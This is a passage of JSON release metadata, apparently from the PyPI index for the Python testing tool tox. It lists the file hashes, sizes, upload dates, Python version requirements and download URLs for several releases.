ha256":"773b2c75da96738a5621d24c992c57907922331ef817c84cdfdfa615ba7b68bd"},"digests":{"blake2b_256":"ec7e4609fd0386d41f0b94fe952708970fb87cc1fb66e088758b1f0ab336802e","md5":"43e3bf7d7ccc3643e2c99abf14d63524","sha256":"e007673f3595cede9b17a7c4962389e4305d4a3682a6c5a4159a1453b4f326aa"},"downloads":-1,"filename":"tox-3.23.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"43e3bf7d7ccc3643e2c99abf14d63524","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":85193,"upload_time":"2021-03-03T12:38:35","upload_time_iso_8601":"2021-03-03T12:38:35.155686Z","url":"https://files.pythonhosted.org/packages/ec/7e/4609fd0386d41f0b94fe952708970fb87cc1fb66e088758b1f0ab336802e/tox-3.23.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"b36e18e2727acc690532309cfb6a2b2d71345c3b007bbb166178d178237e9594","md5":"bd96f55bb0b50be9aec5bab6094a3eb1","sha256":"05a4dbd5e4d3d8269b72b55600f0b0303e2eb47ad5c6fe76d3576f4c58d93661"},"downloads":-1,"filename":"tox-3.23.0.tar.gz","has_sig":false,"md5_digest":"bd96f55bb0b50be9aec5bab6094a3eb1","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":312817,"upload_time":"2021-03-03T12:38:36","upload_time_iso_8601":"2021-03-03T12:38:36.381227Z","url":"https://files.pythonhosted.org/packages/b3/6e/18e2727acc690532309cfb6a2b2d71345c3b007bbb166178d178237e9594/tox-3.23.0.tar.gz","yanked":false,"yanked_reason":null}],"3.23.1":[{"comment_text":"","core-metadata":{"sha256":"8401c26adf84a21315c1233e121868194d7078ea31925ef837037cbcacc40b2f"},"digests":{"blake2b_256":"d8632fa635ac1b8a22e960654b07c270dfb53eb873aba261006536de40327b18","md5":"6dfb9a7dde6396bbad065db1b8e4f1c6","sha256":"b0b5818049a1c1997599d42012a637a33f24c62ab8187223fdd318fa8522637b"},"downloads":-1,"filename":"tox-3.23.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"6dfb9a7dde6396bbad065db1b8e4f1c6","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":85233,"upload_time":"2021-05-05T16:42:34","upload_time_iso_8601":"2021-05-05T16:42:34.086056Z","url":"https://files.pythonhosted.org/packages/d8/63/2fa635ac1b8a22e960654b07c270dfb53eb873aba261006536de40327b18/tox-3.23.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"a5242bf6519e581aa1a16efe5718f73973c073492f300ca8aabd5784bf0fdce5","md5":"9fe85f2cab666ad764f5a076c4544956","sha256":"307a81ddb82bd463971a273f33e9533a24ed22185f27db8ce3386bff27d324e3"},"downloads":-1,"filename":"tox-3.23.1.tar.gz","has_sig":false,"md5_digest":"9fe85f2cab666ad764f5a076c4544956","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":313808,"upload_time":"2021-05-05T16:42:35","upload_time_iso_8601":"2021-05-05T16:42:35.944771Z","url":"https://files.pythonhosted.org/packages/a5/24/2bf6519e581aa1a16efe5718f73973c073492f300ca8aabd5784bf0fdce5/tox-3.23.1.tar.gz","yanked":false,"yanked_reason":null}],"3.24.0":[{"comment_text":"","core-metadata":{"sha256":"df5b0da18b8051797e2b9dc52c14173087bd86e3d3b73983e36573a8f28f8df1"},"digests":{"blake2b_256":"64b9230e04105b3a8cf42d559169cb282df894aa0be689a348cf989a801bd225","md5":"108772bf2423664a1e40ac2bd6cd1817","sha256":"c990028355f0d0b681e3db9baa89dd9f839a6e999c320029339f6a6b36160591"},"downloads":-1,"filename":"tox-3.24.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"108772bf2423664a1e40ac2bd6cd1817","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":85439,"upload_time":"2021-07-14T12:22:30","upload_time_iso_8601":"2021-07-14T12:22:30.460564Z","url":"https://files.pythonhosted.org/packages/64/b9/230e04105b3a8cf42d559169cb282df894aa0be689a348cf989a801bd225/tox-3.24.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"10aab966a122632989d84f668ebdb90446548e15dcd6234cb2bdc4c5ebee96df","md5":"c4a5ea50daa13af38786f5a1c2d63f30","sha256":"67636634df6569e450c4bc18fdfd8b84d7903b3902d5c65416eb6735f3d4afb8"},"downloads":-1,"filename":"tox-3.24.0.tar.gz","has_sig":false,"md5_digest":"c4a5ea50daa13af38786f5a1c2d63f30","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":314566,"upload_time":"2021-07-14T12:22:32","upload_time_iso_8601":"2021-07-14T12:22:32.099519Z","url":"https://files.pythonhosted.org/packages/10/aa/b966a122632989d84f668ebdb90446548e15dcd6234cb2bdc4c5ebee96df/tox-3.24.0.tar.gz","yanked":false,"yanked_reason":null}],"3.24.1":[{"comment_text":"","core-metadata":{"sha256":"151dc58a94785cd516dd5876ddc6c6b4985dd44cded79dbb8376b29706ce6165"},"digests":{"blake2b_256":"84f3f85049313eaaabec338275e1d7b547230d70b42d6b56b66c85728c5603be","md5":"0d5f27a634a79445192404703b006446","sha256":"60eda26fa47b7130e6fc1145620b1fd897963af521093c3685c3f63d1c394029"},"downloads":-1,"filename":"tox-3.24.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"0d5f27a634a79445192404703b006446","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":85556,"upload_time":"2021-07-31T13:15:21","upload_time_iso_8601":"2021-07-31T13:15:21.219743Z","url":"https://files.pythonhosted.org/packages/84/f3/f85049313eaaabec338275e1d7b547230d70b42d6b56b66c85728c5603be/tox-3.24.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"87d1602b0faa100f327c102cf3cab7c9adc949b64e0a9dc5862045888fb1df38","md5":"6418acfb3db205c3f8b304e7409d9dbe","sha256":"9850daeb96d21b4abf049bc5f197426123039e383ebfed201764e9355fc5a880"},"downloads":-1,"filename":"tox-3.24.1.tar.gz","has_sig":false,"md5_digest":"6418acfb3db205c3f8b304e7409d9dbe","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":315682,"upload_time":"2021-07-31T13:15:23","upload_time_iso_8601":"2021-07-31T13:15:23.546243Z","url":"https://files.pythonhosted.org/packages/87/d1/602b0faa100f327c102cf3cab7c9adc949b64e0a9dc5862045888fb1df38/tox-3.24.1.tar.gz","yanked":false,"yanked_reason":null}],"3.24.2":[{"comment_text":"","core-metadata":{"sha256":"b734aaf4265e37644e0fdb4b14211aa1c49bead72c2a8048e898c9f7719eb0bb"},"digests":{"blake2b_256":"6c89bb004588fda969247b0990ae0d40b2d116280b13b3d4bb895970c65e70aa","md5":"3359940c72777f1dbc366f21de00ec8c","sha256":"d45d39203b10fdb2f6887c6779865e31de82cea07419a739844cc4bd4b3493e2"},"downloads":-1,"filename":"tox-3.24.2-py2.py3-none-any.whl","has_sig":false,"md5_digest":"3359940c72777f1dbc366f21de00ec8c","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":85564,"upload_time":"2021-08-18T14:41:58","upload_time_iso_8601":"2021-08-18T14:41:58.328629Z","url":"https://files.pythonhosted.org/packages/6c/89/bb004588fda969247b0990ae0d40b2d116280b13b3d4bb895970c65e70aa/tox-3.24.2-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"f91eb583fd4970d991967e14c06d894973cb4d5d013b86349b3dab0f3e61a7cd","md5":"3cb96b9507d3b8b1183f0fada9c8ad0a","sha256":"ae442d4d51d5a3afb3711e4c7d94f5ca8461afd27c53f5dd994aba34896cf02d"},"downloads":-1,"filename":"tox-3.24.2.tar.gz","has_sig":false,"md5_digest":"3cb96b9507d3b8b1183f0fada9c8ad0a","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":315720,"upload_time":"2021-08-18T14:41:59","upload_time_iso_8601":"2021-08-18T14:41:59.962874Z","url":"https://files.pythonhosted.org/packages/f9/1e/b583fd4970d991967e14c06d894973cb4d5d013b86349b3dab0f3e61a7cd/tox-3.24.2.tar.gz","yanked":false,"yanked_reason":null}],"3.24.3":[{"comment_text":"","core-metadata":{"sha256":"a78a4a252bd1dfacacb7988695e80525da4bcf6721773a0bc2e282c4d20cbe19"},"digests":{"blake2b_256":"2690ca4779bd06f0a35dc4b1510109291b1cd0c440afc1dcc5271ff82b090c70","md5":"a8581e2cf8207a83e5515099d0206dc0","sha256":"9fbf8e2ab758b2a5e7cb2c72945e4728089934853076f67ef18d7575c8ab6b88"},"downloads":-1,"filename":"tox-3.24.3-py2.py3-none-any.whl","has_sig":false,"md5_digest":"a8581e2cf8207a83e5515099d0206dc0","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":85572,"upload_time":"2021-08-21T15:06:30","upload_time_iso_8601":"2021-08-21T15:06:30.939197Z","url":"https://files.pythonhosted.org/packages/26/90/ca4779bd06f0a35dc4b1510109291b1cd0c440afc1dcc5271ff82b090c70/tox-3.24.3-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"2cbf7c85d0d956c68a38afb8cc52e7c9dc18f7619f666aa4bc1655afa7247c49","md5":"b270c0b956305570fb9a638ab72fecec","sha256":"c6c4e77705ada004283610fd6d9ba4f77bc85d235447f875df9f0ba1bc23b634"},"downloads":-1,"filename":"tox-3.24.3.tar.gz","has_sig":false,"md5_digest":"b270c0b956305570fb9a638ab72fecec","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":316199,"upload_time":"2021-08-21T15:06:32","upload_time_iso_8601":"2021-08-21T15:06:32.984533Z","url":"https://files.pythonhosted.org/packages/2c/bf/7c85d0d956c68a38afb8cc52e7c9dc18f7619f666aa4bc1655afa7247c49/tox-3.24.3.tar.gz","yanked":false,"yanked_reason":null}],"3.24.4":[{"comment_text":"","core-metadata":{"sha256":"40f2bc0971455c2f7b3a5405f6fee9d42187a4b405509acf90cf665e709ec45a"},"digests":{"blake2b_256":"78b0ce98616ec9c3f270495a2493cde4d81b1f499057222ae77a8103aea59777","md5":"d082fe9a4fbbfbff35b6074415e5ff80","sha256":"5e274227a53dc9ef856767c21867377ba395992549f02ce55eb549f9fb9a8d10"},"downloads":-1,"filename":"tox-3.24.4-py2.py3-none-any.whl","has_sig":false,"md5_digest":"d082fe9a4fbbfbff35b6074415e5ff80","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":85645,"upload_time":"2021-09-16T09:44:58","upload_time_iso_8601":"2021-09-16T09:44:58.664172Z","url":"https://files.pythonhosted.org/packages/78/b0/ce98616ec9c3f270495a2493cde4d81b1f499057222ae77a8103aea59777/tox-3.24.4-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"d278ad720ade1c6c5b24e407856fb8fc578896ed8e2a603832bb85be3825b551","md5":"63b0e2a58aed70f593ce90ec43475d6e","sha256":"c30b57fa2477f1fb7c36aa1d83292d5c2336cd0018119e1b1c17340e2c2708ca"},"downloads":-1,"filename":"tox-3.24.4.tar.gz","has_sig":false,"md5_digest":"63b0e2a58aed70f593ce90ec43475d6e","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":316762,"upload_time":"2021-09-16T09:45:00","upload_time_iso_8601":"2021-09-16T09:45:00.904181Z","url":"https://files.pythonhosted.org/packages/d2/78/ad720ade1c6c5b24e407856fb8fc578896ed8e2a603832bb85be3825b551/tox-3.24.4.tar.gz","yanked":false,"yanked_reason":null}],"3.24.5":[{"comment_text":"","core-metadata":{"sha256":"129838eaabbaee8ddafeb4c4a2f32812829a083ae41e0066498cf86f7804e8a4"},"digests":{"blake2b_256":"d6f014e68ea6e4bf9ef280c476fc1ab68782032d7fb1178124b1326ad6dfd039","md5":"46a5a6bf08a183a7d95cd29d993a0b10","sha256":"be3362472a33094bce26727f5f771ca0facf6dafa217f65875314e9a6600c95c"},"downloads":-1,"filename":"tox-3.24.5-py2.py3-none-any.whl","has_sig":false,"md5_digest":"46a5a6bf08a183a7d95cd29d993a0b10","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":85641,"upload_time":"2021-12-29T01:16:07","upload_time_iso_8601":"2021-12-29T01:16:07.435932Z","url":"https://files.pythonhosted.org/packages/d6/f0/14e68ea6e4bf9ef280c476fc1ab68782032d7fb1178124b1326ad6dfd039/tox-3.24.5-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"6c0eb9789bd4eee8cc8adfb8127730a13dfcf2d5cc7c419da904cf6fbf459d37","md5":"0da4fd97c5bb907f6e3e346f04ed8d34","sha256":"67e0e32c90e278251fea45b696d0fef3879089ccbe979b0c556d35d5a70e2993"},"downloads":-1,"filename":"tox-3.24.5.tar.gz","has_sig":false,"md5_digest":"0da4fd97c5bb907f6e3e346f04ed8d34","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":315605,"upload_time":"2021-12-29T01:16:10","upload_time_iso_8601":"2021-12-29T01:16:10.121336Z","url":"https://files.pythonhosted.org/packages/6c/0e/b9789bd4eee8cc8adfb8127730a13dfcf2d5cc7c419da904cf6fbf459d37/tox-3.24.5.tar.gz","yanked":false,"yanked_reason":null}],"3.25.0":[{"comment_text":"","core-metadata":{"sha256":"4265da8087fef78f6f166ac123539e9497c3346f783cc35ffa35d2399172cc4d"},"digests":{"blake2b_256":"ac6a6f97900d7e04c60d4bed183666d10be180c63a6a9b3765b91481da96d2fe","md5":"8d64a441012b2641355b2364e183c4f4","sha256":"0805727eb4d6b049de304977dfc9ce315a1938e6619c3ab9f38682bb04662a5a"},"downloads":-1,"filename":"tox-3.25.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"8d64a441012b2641355b2364e183c4f4","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":85853,"upload_time":"2022-04-11T09:52:56","upload_time_iso_8601":"2022-04-11T09:52:56.516696Z","url":"https://files.pythonhosted.org/packages/ac/6a/6f97900d7e04c60d4bed183666d10be180c63a6a9b3765b91481da96d2fe/tox-3.25.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"7c6a2a746db0157c39bf622cea42f6e67a6c1887b5f50b2de48dec226a4c72f1","md5":"e05af0c6dacc6470479617b009df5760","sha256":"37888f3092aa4e9f835fc8cc6dadbaaa0782651c41ef359e3a5743fcb0308160"},"downloads":-1,"filename":"tox-3.25.0.tar.gz","has_sig":false,"md5_digest":"e05af0c6dacc6470479617b009df5760","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":317568,"upload_time":"2022-04-11T09:53:02","upload_time_iso_8601":"2022-04-11T09:53:02.886518Z","url":"https://files.pythonhosted.org/packages/7c/6a/2a746db0157c39bf622cea42f6e67a6c1887b5f50b2de48dec226a4c72f1/tox-3.25.0.tar.gz","yanked":false,"yanked_reason":null}],"3.25.1":[{"comment_text":"","core-metadata":{"sha256":"8beb5096a4a44462af08c2c3f46778cc7d687b771706ff01c92ef8d207010988"},"digests":{"blake2b_256":"8314f827cd5cb88aec768bb43c9e630df5a6bd358da54728122621133e2d1850","md5":"74f7d13587e9ffe838ffb7777976bace","sha256":"c38e15f4733683a9cc0129fba078633e07eb0961f550a010ada879e95fb32632"},"downloads":-1,"filename":"tox-3.25.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"74f7d13587e9ffe838ffb7777976bace","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":85990,"upload_time":"2022-06-29T23:24:55","upload_time_iso_8601":"2022-06-29T23:24:55.534913Z","url":"https://files.pythonhosted.org/packages/83/14/f827cd5cb88aec768bb43c9e630df5a6bd358da54728122621133e2d1850/tox-3.25.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"52cb16711c38f6503e8cd8c691a7b5500364fb0d7ee32a79fc3f8929968cd519","md5":"55333a2f04d8c734f075eb863212a094","sha256":"c138327815f53bc6da4fe56baec5f25f00622ae69ef3fe4e1e385720e22486f9"},"downloads":-1,"filename":"tox-3.25.1.tar.gz","has_sig":false,"md5_digest":"55333a2f04d8c734f075eb863212a094","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":318457,"upload_time":"2022-06-29T23:25:01","upload_time_iso_8601":"2022-06-29T23:25:01.842911Z","url":"https://files.pythonhosted.org/packages/52/cb/16711c38f6503e8cd8c691a7b5500364fb0d7ee32a79fc3f8929968cd519/tox-3.25.1.tar.gz","yanked":false,"yanked_reason":null}],"3.26.0":[{"comment_text":"","core-metadata":{"sha256":"b851e75024d3ad56d62a60baab3c6bbc5d5c565bfcfc9644c68813139c12c894"},"digests":{"blake2b_256":"a0624a490d6e064727ced44b2a7897bf3f8cc09fa9443f2ef258ff56973d96e1","md5":"bbce6b26dade045bc8bf88a29a36faa7","sha256":"bf037662d7c740d15c9924ba23bb3e587df20598697bb985ac2b49bdc2d847f6"},"downloads":-1,"filename":"tox-3.26.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"bbce6b26dade045bc8bf88a29a36faa7","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":86350,"upload_time":"2022-09-08T06:13:28","upload_time_iso_8601":"2022-09-08T06:13:28.924989Z","url":"https://files.pythonhosted.org/packages/a0/62/4a490d6e064727ced44b2a7897bf3f8cc09fa9443f2ef258ff56973d96e1/tox-3.26.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"59141931cd6cb9804f2326cccdd750af32a5095132b7d73cc33577644ab59888","md5":"7e261bc4050a698adf06dfb553869b58","sha256":"44f3c347c68c2c68799d7d44f1808f9d396fc8a1a500cbc624253375c7ae107e"},"downloads":-1,"filename":"tox-3.26.0.tar.gz","has_sig":false,"md5_digest":"7e261bc4050a698adf06dfb553869b58","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":319768,"upload_time":"2022-09-08T06:13:34","upload_time_iso_8601":"2022-09-08T06:13:34.995582Z","url":"https://files.pythonhosted.org/packages/59/14/1931cd6cb9804f2326cccdd750af32a5095132b7d73cc33577644ab59888/tox-3.26.0.tar.gz","yanked":false,"yanked_reason":null}],"3.27.0":[{"comment_text":"","core-metadata":{"sha256":"69fa2efb87c359e0c0f0791f56e6d9a42925a674bb3d8296c4a8bd1dd0f5f086"},"digests":{"blake2b_256":"874e5e1704e2afce9a79e735de7e6fe527d5cf3272813f76d928dd6e89c0115b","md5":"997454f3b22cc33b269b147f1e5dcfb4","sha256":"89e4bc6df3854e9fc5582462e328dd3660d7d865ba625ae5881bbc63836a6324"},"downloads":-1,"filename":"tox-3.27.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"997454f3b22cc33b269b147f1e5dcfb4","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":86641,"upload_time":"2022-10-26T01:00:02","upload_time_iso_8601":"2022-10-26T01:00:02.125765Z","url":"https://files.pythonhosted.org/packages/87/4e/5e1704e2afce9a79e735de7e6fe527d5cf3272813f76d928dd6e89c0115b/tox-3.27.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"8671604b19466b3310a02fdc2baf4b559d8f49bf932a7e6f976a238e2bb54516","md5":"ed4a11d13cd6a206b516c84750109602","sha256":"d2c945f02a03d4501374a3d5430877380deb69b218b1df9b7f1d2f2a10befaf9"},"downloads":-1,"filename":"tox-3.27.0.tar.gz","has_sig":false,"md5_digest":"ed4a11d13cd6a206b516c84750109602","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":320862,"upload_time":"2022-10-26T01:00:16","upload_time_iso_8601":"2022-10-26T01:00:16.804404Z","url":"https://files.pythonhosted.org/packages/86/71/604b19466b3310a02fdc2baf4b559d8f49bf932a7e6f976a238e2bb54516/tox-3.27.0.tar.gz","yanked":false,"yanked_reason":null}],"3.27.1":[{"comment_text":"","core-metadata":{"sha256":"adbfec75d950548e404c297e67494aa544f36b21c54a677c9cab68775873f1d9"},"digests":{"blake2b_256":"b614fd4317ce16e192a464b44bf41a76bb5b44bdc362c0759820643378ae2e2c","md5":"475c5efbc74ec00c3954e5b6ee4393c5","sha256":"f52ca66eae115fcfef0e77ef81fd107133d295c97c52df337adedb8dfac6ab84"},"downloads":-1,"filename":"tox-3.27.1-py2.py3-none-any.whl","has_sig":false,"md5_digest":"475c5efbc74ec00c3954e5b6ee4393c5","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":86658,"upload_time":"2022-11-14T05:09:33","upload_time_iso_8601":"2022-11-14T05:09:33.953266Z","url":"https://files.pythonhosted.org/packages/b6/14/fd4317ce16e192a464b44bf41a76bb5b44bdc362c0759820643378ae2e2c/tox-3.27.1-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"43447e646042c3c3fde7be4ef8debd6bc42f32f36766ab526af302abd341a9a1","md5":"a1d7c6da1b6c8f23b009f268159d4686","sha256":"b2a920e35a668cc06942ffd1cf3a4fb221a4d909ca72191fb6d84b0b18a7be04"},"downloads":-1,"filename":"tox-3.27.1.tar.gz","has_sig":false,"md5_digest":"a1d7c6da1b6c8f23b009f268159d4686","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":320653,"upload_time":"2022-11-14T05:09:35","upload_time_iso_8601":"2022-11-14T05:09:35.868246Z","url":"https://files.pythonhosted.org/packages/43/44/7e646042c3c3fde7be4ef8debd6bc42f32f36766ab526af302abd341a9a1/tox-3.27.1.tar.gz","yanked":false,"yanked_reason":null}],"3.28.0":[{"comment_text":"","core-metadata":{"sha256":"451086b909305c687e06660f672dddc1da67f60bd3021ab08da007384400295c"},"digests":{"blake2b_256":"31c769ec9b8bbb4fe649b4bc960a53b837b4dace889137be5f23b4236a3e9f7c","md5":"7da41b49e61aa74b63e090eee460c30a","sha256":"57b5ab7e8bb3074edc3c0c0b4b192a4f3799d3723b2c5b76f1fa9f2d40316eea"},"downloads":-1,"filename":"tox-3.28.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"7da41b49e61aa74b63e090eee460c30a","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":86766,"upload_time":"2022-12-17T19:31:43","upload_time_iso_8601":"2022-12-17T19:31:43.086578Z","url":"https://files.pythonhosted.org/packages/31/c7/69ec9b8bbb4fe649b4bc960a53b837b4dace889137be5f23b4236a3e9f7c/tox-3.28.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"03397890784b9d6b3be12b88d3139ddbaccfd21167dcdcc6ddbf0182952b4c23","md5":"6da24707556989a0d7875782001292c4","sha256":"d0d28f3fe6d6d7195c27f8b054c3e99d5451952b54abdae673b71609a581f640"},"downloads":-1,"filename":"tox-3.28.0.tar.gz","has_sig":false,"md5_digest":"6da24707556989a0d7875782001292c4","packagetype":"sdist","python_version":"source","requires_python":"!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7","size":320038,"upload_time":"2022-12-17T19:31:44","upload_time_iso_8601":"2022-12-17T19:31:44.733026Z","url":"https://files.pythonhosted.org/packages/03/39/7890784b9d6b3be12b88d3139ddbaccfd21167dcdcc6ddbf0182952b4c23/tox-3.28.0.tar.gz","yanked":false,"yanked_reason":null}],"3.3.0":[{"comment_text":"","core-metadata":{"sha256":"1dcc06fe17fe712792c5683fe6cdbfba0791123eabae60ed9de7cb01b51634a3"},"digests":{"blake2b_256":"6ce0f2ebc62f4897c953806b9ab44a0684c0307527b5b39374e16ef06c42d424","md5":"2fd29282b241d470eec93c64724f3b15","sha256":"bfb4e4efb7c61a54bc010a5c00fdbe0973bc4bdf04090bfcd3c93c901006177c"},"downloads":-1,"filename":"tox-3.3.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"2fd29282b241d470eec93c64724f3b15","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":65392,"upload_time":"2018-09-11T15:40:05","upload_time_iso_8601":"2018-09-11T15:40:05.965474Z","url":"https://files.pythonhosted.org/packages/6c/e0/f2ebc62f4897c953806b9ab44a0684c0307527b5b39374e16ef06c42d424/tox-3.3.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"4e9e4a586cc3fc6bcd36b78aaeefca09a9fe6204752b9fb5a8c060e0bcc5fb40","md5":"1d7d9cd0284332dfbadbb203abcf7ecf","sha256":"433bb93c57edae263150767e672a0d468ab4fefcc1958eb4013e56a670bb851e"},"downloads":-1,"filename":"tox-3.3.0.tar.gz","has_sig":false,"md5_digest":"1d7d9cd0284332dfbadbb203abcf7ecf","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":274516,"upload_time":"2018-09-11T15:40:08","upload_time_iso_8601":"2018-09-11T15:40:08.229935Z","url":"https://files.pythonhosted.org/packages/4e/9e/4a586cc3fc6bcd36b78aaeefca09a9fe6204752b9fb5a8c060e0bcc5fb40/tox-3.3.0.tar.gz","yanked":false,"yanked_reason":null}],"3.4.0":[{"comment_text":"","core-metadata":{"sha256":"dd85829a508c3cbbe2bcf48f3cbe074182fe264ecf7fdf33cf2688363e3876ef"},"digests":{"blake2b_256":"a8fd03185994cf64a58a0ea8fe1a824b1e3ab737c2d890a3dc920811f142f52c","md5":"e1861ff55427f9a4f6e2034cb38f80e8","sha256":"cc97859bd7f38aa5b3b8ba55ffe7ee9952e7050faad1aedc0829cd3db2fb61d6"},"downloads":-1,"filename":"tox-3.4.0-py2.py3-none-any.whl","has_sig":false,"md5_digest":"e1861ff55427f9a4f6e2034cb38f80e8","packagetype":"bdist_wheel","python_version":"py2.py3","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*","size":69751,"upload_time":"2018-09-20T08:21:35","upload_time_iso_8601":"2018-09-20T08:21:35.322710Z","url":"https://files.pythonhosted.org/packages/a8/fd/03185994cf64a58a0ea8fe1a824b1e3ab737c2d890a3dc920811f142f52c/tox-3.4.0-py2.py3-none-any.whl","yanked":false,"yanked_reason":null},{"comment_text":"","core-metadata":false,"digests":{"blake2b_256":"45a6c35e27a2c81b17b3af3043161671eaff3a0449937d534a6e1baaa3756bdb","md5":"dee2b758efd2d4a4cdcb5a1ccbe59d49","sha256":"7f802b37fffd3b5ef2aab104943fa5dad24bf9564bb7e732e54b8d0cfec2fca0"},"downloads":-1,"filename":"tox-3.4.0.tar.gz","has_sig":false,"md5_digest":"dee2b758efd2d4a4cdcb5a1ccbe59d49","packagetype":"sdist","python_version":"source","requires_python":">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, 